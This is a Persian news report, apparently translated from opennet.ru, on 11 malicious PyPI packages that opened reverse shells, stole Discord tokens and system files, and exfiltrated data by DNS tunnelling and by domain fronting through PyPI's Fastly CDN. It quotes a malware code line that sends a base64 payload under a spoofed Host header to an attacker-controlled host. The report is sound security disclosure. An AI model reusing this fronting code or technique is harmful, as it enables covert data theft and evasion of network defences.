کتابخانه های مخرب شناسایی شده در کاتالوگ PyPI که از PyPI CDN برای پنهان کردن کانال ارتباطی استفاده می کنند

در فهرست PyPI (شاخص بسته پایتون)، 11 بسته حاوی کد مخرب شناسایی شد. قبل از شناسایی مشکلات، بسته ها در مجموع حدود 38 هزار بار دانلود شده بودند. بسته های مخرب شناسایی شده به دلیل استفاده از روش های پیچیده برای پنهان کردن کانال های ارتباطی با سرورهای مهاجمان قابل توجه هستند.

  • importantpackage (6305 دانلود)، important-package (12897) - یک اتصال به یک سرور خارجی تحت پوشش اتصال به pypi.python.org برای دسترسی پوسته به سیستم (شل معکوس) ایجاد کرد و از برنامه trevorc2 برای مخفی کردن استفاده کرد. کانال ارتباطی
  • pptest (10001)، ipboards (946) - از DNS به عنوان یک کانال ارتباطی برای انتقال اطلاعات در مورد سیستم استفاده می کند (در بسته اول نام میزبان، فهرست کاری، IP داخلی و خارجی، در دوم - نام کاربری و نام میزبان) .
  • owlmoon (3285)، DiscordSafety (557)، yiffparty (1859) - رمز سرویس Discord را در سیستم شناسایی کرد و آن را به یک میزبان خارجی ارسال کرد.
  • trrfab (287) - شناسه، نام میزبان و محتویات /etc/passwd، /etc/hosts، /home را به میزبان خارجی ارسال کرد.
  • 10Cent10 (490) - یک اتصال پوسته معکوس با میزبان خارجی ایجاد کرد.
  • yandex-yt (4183) - پیامی در مورد در معرض خطر قرار گرفتن سیستم نشان داده و به صفحه ای با اطلاعات اضافی در مورد اقدامات بعدی صادر شده از طریق nda.ya.ru (api.ya.cc) هدایت می شود.

نکته قابل توجه روش دسترسی به میزبان های خارجی مورد استفاده در بسته های مهم و بسته های مهم است که از شبکه تحویل محتوای Fastly استفاده شده در دایرکتوری PyPI برای پنهان کردن فعالیت خود استفاده می کند. در واقع، درخواست‌ها به سرور pypi.python.org ارسال می‌شد (از جمله مشخص کردن نام python.org در SNI در داخل درخواست HTTPS)، اما هدر «Host» HTTP شامل نام سروری بود که توسط مهاجمان کنترل می‌شد. forward.io. global.prod.fastly.net). شبکه تحویل محتوا درخواست مشابهی را با استفاده از پارامترهای اتصال TLS به pypi.python.org هنگام انتقال داده به سرور مهاجم ارسال کرد.

زیرساخت PyPI توسط شبکه تحویل محتوای Fastly، که از پروکسی شفاف Varnish برای ذخیره درخواست‌های معمولی استفاده می‌کند، و همچنین از پردازش گواهی TLS در سطح CDN، به جای سرورهای پایانی، برای ارسال درخواست‌های HTTPS از طریق یک پروکسی استفاده می‌کند. صرف نظر از میزبان هدف، درخواست‌ها به پروکسی ارسال می‌شوند، که میزبان مورد نظر را با استفاده از هدر HTTP "Host" تعیین می‌کند و نام دامنه میزبان به آدرس‌های IP متعادل‌کننده بار CDN که برای همه مشتریان Fastly معمول است، گره خورده است.

سرور مهاجمان همچنین با CDN Fastly ثبت نام می کند، که برنامه های رایگان را برای همه فراهم می کند و حتی اجازه ثبت نام ناشناس را می دهد. قابل توجه است که برای ارسال درخواست به قربانی هنگام ایجاد "پوسته معکوس"، از طرحی نیز استفاده می شود، اما از سمت میزبان مهاجم آغاز می شود. از بیرون، تعامل با سرور مهاجم شبیه یک جلسه قانونی با دایرکتوری PyPI است که با استفاده از گواهی PyPI TLS رمزگذاری شده است. یک تکنیک مشابه، معروف به "نمایش دامنه"، قبلاً به طور فعال برای پنهان کردن نام میزبان در هنگام دور زدن مسدود کردن استفاده می شد، با استفاده از توانایی ارائه شده در برخی از شبکه های CDN برای دسترسی به HTTPS با نشان دادن یک میزبان ساختگی در SNI و در واقع انتقال نام میزبان درخواست شده در سربرگ میزبان HTTP در داخل یک جلسه TLS.

کتابخانه های مخرب شناسایی شده در کاتالوگ PyPI که از PyPI CDN برای پنهان کردن کانال ارتباطی استفاده می کنند

برای پنهان کردن فعالیت های مخرب، بسته TrevorC2 علاوه بر این مورد استفاده قرار گرفت تا تعامل با سرور شبیه به ناوبری معمولی وب داشته باشد، به عنوان مثال، درخواست های مخرب تحت عنوان دانلود تصویر "https://pypi.python.org/images/ ارسال شد. guid=” با رمزگذاری اطلاعات در پارامتر راهنما. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

بسته‌های pptest و ipboards از رویکرد متفاوتی برای پنهان کردن فعالیت شبکه استفاده کردند که بر اساس کدگذاری اطلاعات مفید در پرس‌و‌جوها به سرور DNS است. بدافزار اطلاعات را با انجام درخواست‌های DNS مانند «nu4timjagq4fimbuhe.example.com» منتقل می‌کند، که در آن داده‌های ارسال شده به سرور کنترل با استفاده از قالب base64 در نام زیر دامنه کدگذاری می‌شوند. مهاجم این پیام ها را با کنترل سرور DNS برای دامنه example.com دریافت می کند.

منبع: opennet.ru

اضافه کردن نظر